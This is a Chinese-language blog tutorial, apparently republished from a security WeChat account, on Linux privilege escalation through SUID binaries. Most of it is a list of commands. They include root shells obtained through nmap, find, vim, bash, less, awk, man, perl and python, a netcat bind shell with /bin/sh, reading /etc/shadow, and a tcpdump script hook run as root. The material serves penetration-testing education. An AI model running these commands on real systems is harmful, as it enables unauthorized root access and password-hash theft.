Nmap
Vim
find
Bash
More
Less
Nano
cp
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
发现SUID可执行文件
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
SUID可执行文件 - Nmap
NMAP
nmap -V
Nmap - 版本识别
nmap --interactive
Nmap - 交互模式
nmap> !sh
sh-3.2# whoami
root
提权至Root权限
exploit/unix/local/setuid_nmap
Find
touch pentestlab
find pentestlab -exec whoami ;
Find命令权限提升
find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
通过Find运行Netcat
netcat 192.168.1.189 5555
id
cat /etc/shadow
Root权限的shell
VIM
vim.tiny /etc/shadow
Vim - Shadow文件读取
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Vim - Root权限
Bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Bash - Root权限
Less
less /etc/passwd
!/bin/sh
more /home/pelle/myfile
!/bin/bash
获取到Root权限
cp
mv
awk
awk 'BEGIN {system("/bin/bash")}'
man
man passwd
!/bin/bash
python/perl/ruby/lua/etc
-
perl
exec "/bin/bash";
-
python import os
os.system("/bin/bash")
tcpdump
echo $'idncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
参考资料
-
https://pentestlab.blog/2017/09/25/suid-executables/
-
http://blog.csdn.net/haofeifei6/article/details/11516753
-
https://evi1cg.me/archives/SUID_Privilege_Escalation.html
扫描下方二维码学习更多WEB安全知识:
本文始发于微信公众号(Ms08067安全实验室):Linux下利用SUID提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论